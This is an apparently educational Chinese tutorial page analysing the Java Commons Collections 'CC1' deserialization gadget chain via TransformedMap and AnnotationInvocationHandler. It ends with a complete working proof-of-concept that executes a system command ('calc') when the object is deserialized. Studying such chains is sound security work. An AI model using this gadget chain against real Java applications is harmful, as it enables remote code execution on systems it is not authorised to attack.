CC1-TransformedMap
0x01 Environment Build
JDK版本:jdk 8u65
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
源码里面都是.class
文件,反编译的代码不好阅读,需下载.java
源码,点击zip下载 解压jdk8u65的src.zip,将下载后的源码(src\share\classes)的sun文件夹拷贝到解压后的src文件夹
IDEA =》Project Structure =》Platform Settings =》 SDKs =》8u65 =》 SourcePath
另外Maven下载的Commons Collection 也是.class
文件,点击Download Sources
若无效试试dependency:resolve -Dclassifier=sources
0x02 Transformer Glance
- ConstantTransformer
public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } }
调用
transform()
方法返回构造时传入的对象 就是传入传出一个对象,前后不变。 - InvokerTransformer
public class InvokerTransformer implements Transformer, Serializable { public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } // catch .... } }
反序列化利用的关键类,可以执行任意方法。
iMethodName 待执行的方法名
iParamTypes 待执行方法的参数列表的参数类型
iArgs 待执行方法的参数列表
调用
transform
的时候会执行input对象的iMethodName方法 - ChainedTransformer
public class ChainedTransformer implements Transformer, Serializable { public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }
将多个
Transformer
串成一条链,前一个调用返回的结果作为后一个调用的参数 - TransformedMap
public class TransformedMap{ public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } protected Object checkSetValue(Object value) { return valueTransformer.transform(value); } }
TransformedMap
用于对Java原生Map进行一些修饰,当Map调用setValue
时,会触发checkSetValue
,进而调用transform
。其构造方法被protected修饰,因此我们利用它的静态public方法decorate
0x03 Best Practice
使用Transformer
的实现类和TransformedMap
实现命令执行
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashedMap();
Map<Object, Object> evilMap = TransformedMap.decorate(map, null, chainedTransformer);
evilMap.put("test", 123);
两个问题:
Runtime类没有实现
Serializable
接口,无法反序列化需要找到
readObject
中有类似Map.put(xxx,yyy)
操作的类
Q1:Class
类可以反序列化,用Runtime.class
作为ChainedTransformer
的入口参数,后面再通过反射来调用exec
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashedMap();
Map<Object, Object> evilMap = TransformedMap.decorate(map, null, chainedTransformer);
evilMap.put("test", 123);
Q2:Introducing ~ AnnotationInvocationHandler
// sun.reflect.annotation.AnnotationInvocationHandler#readObject
private void readObject(java.io.ObjectInputStream s) {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
memberValue.setValue
=》TransformedMap#checkSetValue
=》 valueTransformer.transform()
因此让memberValue
为上面的evilMap即可。
PROBLEM THROW:
需要满足
memberType != null
才能进入memberValue.setValue
Class<?> memberType = memberTypes.get(name);
memberTypes👇
name👇
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
String name = memberValue.getKey();
annotationType👇
annotationType = AnnotationType.getInstance(type);
构造函数:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
type是构造对象时传进来的Annotation子类
的Class
name是传入Map(memberValues)的每个键名
memberType.get(name)
要不为空即要求AnnotationType
要有名为name
的成员
System.out.println(AnnotationType.getInstance(Target.class).memberTypes());
// {value=class [Ljava.lang.annotation.ElementType;}
System.out.println(AnnotationType.getInstance(Retention.class).memberTypes());
// {value=class java.lang.annotation.RetentionPolicy}
@Retention和@Target都有value
这个成员
另外,AnnotationInvocationHandler
的构造方法被default修饰,不能直接new,利用反射来实例化该类
0x04 Weave POC
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashedMap();
map.put("value", 123);
Map<Object, Object> evilMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object aih = cons.newInstance(Target.class, evilMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(aih);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
ois.close();
0x05 CC1 Shortcomings
sun.reflect.annotation.AnnotationInvocationHandler
作为CC1链的入口类, 在Java 8u71之后被修改了 修改后的readObject
方法中新建了一个LinkedHashMap
对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执 行setValue或put操作,也就不会触发RCE了。
Last updated
Was this helpful?